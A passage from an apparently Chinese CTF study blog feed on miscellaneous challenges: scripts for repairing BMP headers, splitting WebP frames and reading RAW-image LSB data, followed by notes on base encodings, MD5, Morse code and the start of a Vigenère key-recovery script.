class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">parser = argparse.ArgumentParser()</span><br><span class="line">parser.add_argument(<span class="string">&quot;-f&quot;</span>, <span class="built_in">type</span>=<span class="built_in">str</span>, default=<span class="literal">None</span>, required=<span class="literal">True</span>,</span><br><span class="line">                    <span class="built_in">help</span>=<span class="string">&quot;输入同级目录下图片的名称&quot;</span>)</span><br><span class="line">args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">SAVE_DIR = os.getcwd()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">save_img</span>(<span class="params">data, width=<span class="literal">None</span>, height=<span class="literal">None</span>, sqrt_num=<span class="literal">None</span></span>):</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(SAVE_DIR, <span class="string">&quot;fix_width.bmp&quot;</span>), <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data[:<span class="number">0x12</span>] + width.to_bytes(<span class="number">4</span>,</span><br><span class="line">                byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">False</span>) + data[<span class="number">0x16</span>:])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(SAVE_DIR, <span class="string">&quot;fix_height.bmp&quot;</span>), <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data[:<span class="number">0x16</span>] + height.to_bytes(<span class="number">4</span>,</span><br><span class="line">                byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">False</span>) + data[<span class="number">0x1a</span>:])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(SAVE_DIR, <span class="string">&quot;fix_sqrt.bmp&quot;</span>), <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data[:<span class="number">0x12</span>] + sqrt_num.to_bytes(<span class="number">4</span>,</span><br><span class="line">                byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">False</span>) * <span class="number">2</span> + data[<span class="number">0x1a</span>:])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_pixels_size</span>(<span class="params">data</span>):</span><br><span class="line">    bfSize = <span class="built_in">int</span>.from_bytes(data[<span class="number">0x2</span>:<span class="number">0x2</span>+<span class="number">4</span>], byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">False</span>)</span><br><span class="line">    bfOffBits = <span class="built_in">int</span>.from_bytes(</span><br><span class="line">        data[<span class="number">0xa</span>:<span class="number">0xa</span>+<span class="number">4</span>], byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">False</span>)</span><br><span class="line">    biBitCount = <span class="built_in">int</span>.from_bytes(</span><br><span class="line">        data[<span class="number">0x1c</span>:<span class="number">0x1c</span>+<span class="number">2</span>], byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">False</span>)</span><br><span class="line">    channel = biBitCount // <span class="number">8</span></span><br><span class="line">    <span class="comment"># 由于宽高都会被修改，所以我计算出来的Padding_size也不是正确的，没有意义</span></span><br><span class="line">    <span class="comment"># padding_size = (4 - col * channel % 4) * row if col * channel % 4 != 0 else 0</span></span><br><span class="line">    <span class="comment"># pixels_size = (bfSize - bfOffBits - padding_size) // channel</span></span><br><span class="line">    <span class="keyword">return</span> (bfSize - bfOffBits) // channel</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    file_path = os.path.abspath(args.f)</span><br><span class="line">    <span class="keyword">if</span> os.path.splitext(args.f)[-<span class="number">1</span>] != <span class="string">&quot;.bmp&quot;</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;您的文件后缀名不为BMP!&quot;</span>)</span><br><span class="line">        time.sleep(<span class="number">1</span>)</span><br><span class="line">        exit(-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(file_path, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        data = f.read()</span><br><span class="line">    col = <span class="built_in">abs</span>(<span class="built_in">int</span>.from_bytes(data[<span class="number">0x12</span>:<span class="number">0x12</span>+<span class="number">4</span>],</span><br><span class="line">              byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">True</span>))</span><br><span class="line">    row = <span class="built_in">abs</span>(<span class="built_in">int</span>.from_bytes(data[<span class="number">0x16</span>:<span class="number">0x16</span>+<span class="number">4</span>],</span><br><span class="line">              byteorder=<span class="string">&quot;little&quot;</span>, signed=<span class="literal">True</span>))</span><br><span class="line">    pixels_size = get_pixels_size(data)</span><br><span class="line"></span><br><span class="line">    width, height = pixels_size // row, pixels_size // col</span><br><span class="line">    sqrt_num = <span class="built_in">int</span>(math.sqrt((pixels_size)))</span><br><span class="line">    save_img(data, width=width, height=height, sqrt_num=sqrt_num)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;温馨提示：由于填充字节的问题，所以可能会偏差几个像素!&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;1.修复宽度: <span class="subst">&#123;width&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;2.修复高度: <span class="subst">&#123;height&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;3.修复宽度高度为: <span class="subst">&#123;sqrt_num&#125;</span>&quot;</span>)</span><br><span class="line">    time.sleep(<span class="number">1</span>)</span><br></pre></td></tr></table></figure></div><h4 id="wbstego4open隐写"><a class="markdownIt-Anchor" href="#wbstego4open隐写">#</a> wbStego4open 隐写</h4><p>用 wbStego4open 直接 decode</p><h4 id="silenteye隐写-2"><a class="markdownIt-Anchor" href="#silenteye隐写-2">#</a> silenteye 隐写</h4><p>直接拉入 silenteye 解密即可</p><h3 id="gif"><a class="markdownIt-Anchor" href="#gif">#</a> GIF</h3><h4 id="gif图片可能要分帧提取"><a class="markdownIt-Anchor" href="#gif图片可能要分帧提取">#</a> GIF 图片可能要分帧提取</h4><p>stegsolve 可以</p><h3 id="webp"><a class="markdownIt-Anchor" href="#webp">#</a> Webp</h3><p>webp 文件用电脑自带的图片看可能会有点问题，建议用浏览器打开这种文件</p><p>webp 可能是动图，可以用下面这个脚本分离 webp 中的每帧图片</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line">img = Image.<span class="built_in">open</span>(<span class="string">&#x27;killer.webp&#x27;</span>)</span><br><span class="line">n_frame = img.n_frames</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n_frame):</span><br><span class="line">    img.seek(i)</span><br><span class="line">    img.save(<span class="string">f&#x27;img/<span class="subst">&#123;i&#125;</span>.png&#x27;</span>)</span><br></pre></td></tr></table></figure></div><h3 id="raw-arw"><a class="markdownIt-Anchor" href="#raw-arw">#</a> RAW、ARW</h3><h4 id="raw的lsb隐写"><a class="markdownIt-Anchor" href="#raw的lsb隐写">#</a> RAW 的 LSB 隐写</h4><p>ARW 文件是 Sony 相机的原始数据格式</p><p>可以使用 rawpy 模块读取图片的像素数据，查看是否存在 LSB 隐写【例：2024 L3HCTF RAWatermark】</p><p>示例脚本如下：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> rawpy</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> libnum</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> rawpy.imread(<span class="string">&#x27;image.ARW&#x27;</span>) <span class="keyword">as</span> raw:</span><br><span class="line">    <span class="comment"># 从 raw 对象中获取可见的 Bayer 格式图像数据</span></span><br><span class="line">    bayer_visible = raw.raw_image_visible</span><br><span class="line">    <span class="comment"># print(bayer_visible)</span></span><br><span class="line">    <span class="comment"># 用 bitwise_and() 函数将 bayer_visible 中的每个像素值与 1 进行按位与操作，以提取每个像素的最低有效位（LSB）</span></span><br><span class="line">    lsb_array = np.bitwise_and(bayer_visible, <span class="number">1</span>)</span><br><span class="line">    <span class="comment"># print(lsb_array)</span></span><br><span class="line">    <span class="comment"># 使用 NumPy 数组的 flatten() 方法将 lsb_array 数组展平成一维数组</span></span><br><span class="line">    lsb_array_flat = lsb_array.flatten()</span><br><span class="line">    <span class="comment"># print(lsb_array_flat)</span></span><br><span class="line">    hidden_message = <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">map</span>(<span class="built_in">str</span>, lsb_array_flat))</span><br><span class="line">    <span class="comment"># 将隐写的数据转为十六进制，便于查看文件头</span></span><br><span class="line">    hex_data = <span class="built_in">hex</span>(<span class="built_in">int</span>(hidden_message, <span class="number">2</span>))</span><br><span class="line">    <span class="comment"># print(hex_data[:10]) # 0x504b0304</span></span><br><span class="line">    <span class="comment"># 将二进制数据转换为byte类型数据</span></span><br><span class="line">    data = libnum.b2s(hidden_message)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;flag.zip&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(data)</span><br></pre></td></tr></table></figure></div><h4 id="直接改后缀为data然后拖入gimp"><a class="markdownIt-Anchor" href="#直接改后缀为data然后拖入gimp">#</a> 直接改后缀为.data，然后拖入 Gimp</h4><h3 id="二维码"><a class="markdownIt-Anchor" href="#二维码">#</a> 二维码</h3><h4 id="bmp转二维码"><a class="markdownIt-Anchor" href="#bmp转二维码">#</a> bmp 转二维码</h4><h4 id="aztec-code-datamatrix-gridmatrix-汉信码-pdf417code"><a class="markdownIt-Anchor" href="#aztec-code-datamatrix-gridmatrix-汉信码-pdf417code">#</a> Aztec code、DataMatrix、GridMatrix、汉信码、PDF417code</h4><h4 id="二维码的纠错等级"><a class="markdownIt-Anchor" href="#二维码的纠错等级">#</a> 二维码的纠错等级</h4><table><thead><tr><th style="text-align:center">1 位置的颜色</th><th style="text-align:center">2 位置的颜色</th><th style="text-align:center">纠错等级</th><th style="text-align:center">容错率</th></tr></thead><tbody><tr><td style="text-align:center">黑</td><td style="text-align:center">黑</td><td style="text-align:center">L(Low)</td><td style="text-align:center">7%</td></tr><tr><td style="text-align:center">黑</td><td style="text-align:center">白</td><td style="text-align:center">M(Medium)</td><td style="text-align:center">15%</td></tr><tr><td style="text-align:center">白</td><td style="text-align:center">黑</td><td style="text-align:center">Q(Quartil)</td><td style="text-align:center">25%</td></tr><tr><td style="text-align:center">白</td><td style="text-align:center">白</td><td style="text-align:center">H(High)</td><td style="text-align:center">30%</td></tr></tbody></table><h4 id="二维码修复"><a class="markdownIt-Anchor" href="#二维码修复">#</a> 二维码修复</h4>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;miscpicture&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#miscpicture&quot;&gt;#&lt;/a&gt; MISC—Picture&lt;/h2&gt;
&lt;p&gt;一键梭哈网站:&lt;a class=&quot;link&quot; href=&quot;https://aperis</summary>
      
    
    
    
    <category term="Misc" scheme="http://example.com/categories/Misc/"/>
    
    
  </entry>
  
  <entry>
    <title>MISC EN/DECode</title>
    <link href="http://example.com/2024/11/07/MISC%20ENDECode/"/>
    <id>http://example.com/2024/11/07/MISC%20ENDECode/</id>
    <published>2024-11-07T07:56:14.000Z</published>
    <updated>2024-11-07T15:37:57.306Z</updated>
    
    <content type="html"><![CDATA[<h2 id="CTF—MISC"><a href="#CTF—MISC" class="headerlink" title="CTF—MISC"></a>CTF—MISC</h2><blockquote><p>[!IMPORTANT]</p><p>参考Lunatic师傅的文章：<a class="link" href="https://goodlunatic.github.io/posts/1ad9200">https://goodlunatic.github.io/posts/1ad9200 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p></blockquote><p>⚠👆👆👆👆👆⚠</p><h3 id="加密-编码"><a href="#加密-编码" class="headerlink" title="加密&#x2F;编码"></a>加密&#x2F;编码</h3><h4 id="base"><a href="#base" class="headerlink" title="base"></a>base</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">base16                       flag         666C6167</span><br><span class="line">base32[A-Z2-7]               flag         MZWGCZY=</span><br><span class="line">base36                       flag         727432</span><br><span class="line">base58                       flag         3cr9Ae</span><br><span class="line">base64                       flag         Zmxh</span><br><span class="line">base85                       flag         Ao(mg</span><br><span class="line">base91                       flag         @iH&lt;Z</span><br><span class="line">base92                       flag         F#S&lt;I</span><br><span class="line">base100                      flag         👝👣👘👞</span><br><span class="line">base1024                    flag</span><br><span class="line">base2048                    flag         ڥڊװ</span><br><span class="line">base65535                   flag         ꍦ鱡</span><br></pre></td></tr></table></figure></div><p>base64还可以换表编码</p><p>比如24省赛预赛的realsignin</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411071620273.png" alt="image-20241102130924210"></p><p>套娃base，比如省赛的签到题：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411071621734.png" alt="image-20241102140326648"></p><p>可以使用工具BaseCrack爆破套娃的base</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411071627542.png" alt="image-20241107162739296"></p><p>再进一步爆破就好了</p><h4 id="MD5加密"><a href="#MD5加密" class="headerlink" title="MD5加密"></a>MD5加密</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">明文：admin </span><br><span class="line">32位小写21232f297a57a5a743894a0e4a801fc3  </span><br><span class="line">32位大写21232F297A57A5A743894A0E4A801FC3  </span><br><span class="line">16位小写7a57a5a743894a0e  </span><br><span class="line">16位大写7A57A5A743894A0E  </span><br><span class="line">Tips：十六位其实就是取32位的8-24位</span><br></pre></td></tr></table></figure></div><p>MD5 加密后的密文应该是 纯数字+纯字符</p><p>可能的爆破：<a class="link" href="https://www.cmd5.com/default.aspx">md5在线解密破解,md5解密加密 (cmd5.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="emoji-aes编码："><a href="#emoji-aes编码：" class="headerlink" title="emoji-aes编码："></a>emoji-aes编码：</h4><p>密文由一大串emoji表情组成，解密需要密钥，例如</p><p>已知key：th1sisKey，直接使用在线网站解密即可<a class="link" href="https://aghorler.github.io/emoji-aes/">emoji-aes (aghorler.github.io) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🔬👣🖐🌏😇🥋😇😊🍎🏹👌🌊☃🦓🌏🐅🥋🚨📮🐍🎈📮📂✅🐍⏩⌨🎈😍🌊😇🐍☺💧🥋🍌🎤🍍😇👁🦓😇🍍📮📂🎅😡🍵✖✉🏹⌨🍵🎤😆🍵🚹🏹🍎🚨ℹ☃👑🎤🚪💵😎😀😎🔬💵🦓🏹👉🦓✖😀🐘🔪⌨🎈🥋👌🍌🚹😂✉🍎🍌🏎👌🏹💵👌👁🎃🗒</span><br></pre></td></tr></table></figure></div><h4 id="词频分析："><a href="#词频分析：" class="headerlink" title="词频分析："></a>词频分析：</h4><p>一堆文字，看着什么编码都不像的，可能是词频分析，用在线网站跑<a class="link" href="https://quipqiup.com/">https://quipqiup.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="字频分析："><a href="#字频分析：" class="headerlink" title="字频分析："></a>字频分析：</h4><p>用随波逐流直接分析</p><h4 id="摩斯电码："><a href="#摩斯电码：" class="headerlink" title="摩斯电码："></a>摩斯电码：</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#第一种情况，只有.-或者只有01</span><br><span class="line">#第二种情况，加入/或者空格来替换换行符</span><br><span class="line">.--/./.-../-.-./---/--/./-/---/-./-.-/-.-./-/..-./--..--/-/...././.--./.-/.../.../.--/---/.-./-../../.../.----/-..../-.../-.--/-/./.../.-./.-/-./-../---/--/.-../-.--/--././-././.-./.-/-/./-../--..-</span><br></pre></td></tr></table></figure></div><h4 id="vigenere-维吉尼亚-密码："><a href="#vigenere-维吉尼亚-密码：" class="headerlink" title="vigenere(维吉尼亚)密码："></a>vigenere(维吉尼亚)密码：</h4><p>1.给了密文和Key</p><p>直接拉到cyberchef中解密即可</p><p>2.给了密文，没给密钥，但是知道目标明文的格式</p><p>先用B神的脚本爆破出Key，然后再把这个Key放到cyberchef中解密</p><p>3.根据对照表，手搓密钥的前几位</p><p><a class="link" href="https://ctf.bugku.com/tool/vigenere">维吉尼亚加密&#x2F;解密 - Bugku CTF平台 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>一个爆破脚本，根据前20个字符自行判断（并不万能）</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/202411071857806.png" alt="QQ_1730976929401"></p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;维吉尼亚破解&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> wordninja</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">alpha</span>(<span class="params">cipher</span>):  <span class="comment"># 预处理,去掉空格以及回车</span></span><br><span class="line">    c = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(cipher)):</span><br><span class="line">        <span class="keyword">if</span> (cipher[i].isalpha()):</span><br><span class="line">            c += cipher[i]</span><br><span class="line">    <span class="keyword">return</span> c</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">count_IC</span>(<span class="params">cipher</span>):  <span class="comment"># 给定字符串计算其重合指数</span></span><br><span class="line">    count = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>)]</span><br><span class="line">    L = <span class="built_in">len</span>(cipher)</span><br><span class="line">    IC = <span class="number">0.0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(cipher)):</span><br><span class="line">        <span class="keyword">if</span> (cipher[i].isupper()):</span><br><span class="line">            count[<span class="built_in">ord</span>(cipher[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>)] += <span class="number">1</span></span><br><span class="line">        <span class="keyword">elif</span> (cipher[i].islower()):</span><br><span class="line">            count[<span class="built_in">ord</span>(cipher[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)] += <span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>):</span><br><span class="line">        IC += (count[i] * (count[i] - <span class="number">1</span>)) / (L * (L - <span class="number">1</span>))</span><br><span class="line">    <span class="keyword">return</span> IC</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">count_key_len</span>(<span class="params">cipher, key_len</span>):  <span class="comment"># 对字符串按输入个数进行分组，计算每一组的IC值返回平均值</span></span><br><span class="line">    N = [<span class="string">&#x27;&#x27;</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len)]</span><br><span class="line">    IC = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(cipher)):</span><br><span class="line">        m = i % key_len</span><br><span class="line">        N[m] += cipher[i]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(key_len):</span><br><span class="line">        IC[i] = count_IC(N[i])</span><br><span class="line">    <span class="comment"># print(IC)</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;长度为%d时,平均重合指数为%.5f&quot;</span> % (key_len, np.mean(IC)))</span><br><span class="line">    <span class="keyword">return</span> np.mean(IC)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">length</span>(<span class="params">cipher</span>):  <span class="comment"># 遍历确定最有可能的密钥长度返回密钥长度</span></span><br><span class="line">    key_len = <span class="number">0</span></span><br><span class="line">    mins = <span class="number">100</span></span><br><span class="line">    aver = <span class="number">0.0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10</span>):</span><br><span class="line">        k = count_key_len(cipher, i)</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">abs</span>(k - <span class="number">0.065</span>) &lt; mins):</span><br><span class="line">            mins = <span class="built_in">abs</span>(k - <span class="number">0.065</span>)</span><br><span class="line">            key_len = i</span><br><span class="line">            aver = k</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;密钥长度为%d,此时重合指数每组的平均值为%.5f&quot;</span> % (key_len, aver))</span><br><span class="line">    <span class="keyword">return</span> key_len</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">count_MIC</span>(<span class="params">c1, c2, n</span>):  <span class="comment"># n=k1-k2为偏移量,计算c1,c2互重合指数MIC</span></span><br><span class="line">    count_1 = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>)]</span><br><span class="line">    count_2 = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>)]</span><br><span class="line">    L_1 = <span class="built_in">len</span>(c1)</span><br><span class="line">    L_2 = <span class="built_in">len</span>(c2)</span><br><span class="line">    MIC = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(L_1):</span><br><span class="line">        <span class="keyword">if</span> (c1[i].isupper()):</span><br><span class="line">            count_1[<span class="built_in">ord</span>(c1[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>)] += <span class="number">1</span></span><br><span class="line">        <span class="keyword">elif</span> (c1[i].islower()):</span><br><span class="line">            count_1[<span class="built_in">ord</span>(c1[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)] += <span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(L_2):</span><br><span class="line">        <span class="keyword">if</span> (c2[i].isupper()):</span><br><span class="line">            count_2[(<span class="built_in">ord</span>(c2[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>) + n + <span class="number">26</span>) % <span class="number">26</span>] += <span class="number">1</span></span><br><span class="line">        <span class="keyword">elif</span> (c2[i].islower()):</span><br><span class="line">            count_2[(<span class="built_in">ord</span>(c2[i]) - <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>) + n + <span class="number">26</span>) % <span class="number">26</span>] += <span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">26</span>):</span><br><span class="line">        MIC += count_1[i] * count_2[i] / (L_1 * L_2)</span><br><span class="line">    <span class="keyword">return</span> MIC</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">count_n</span>(<span class="params">c1, c2</span>):  <span class="comment"># 确定两个子串最优的相对偏移量n=k1-k2</span></span><br><span class="line">    n = <span class="number">0</span></span><br><span class="line">    mins = <span class="number">100</span></span><br><span class="line">    k = [<span class="number">0.0</span> <span class="keyword">for</span> i <span 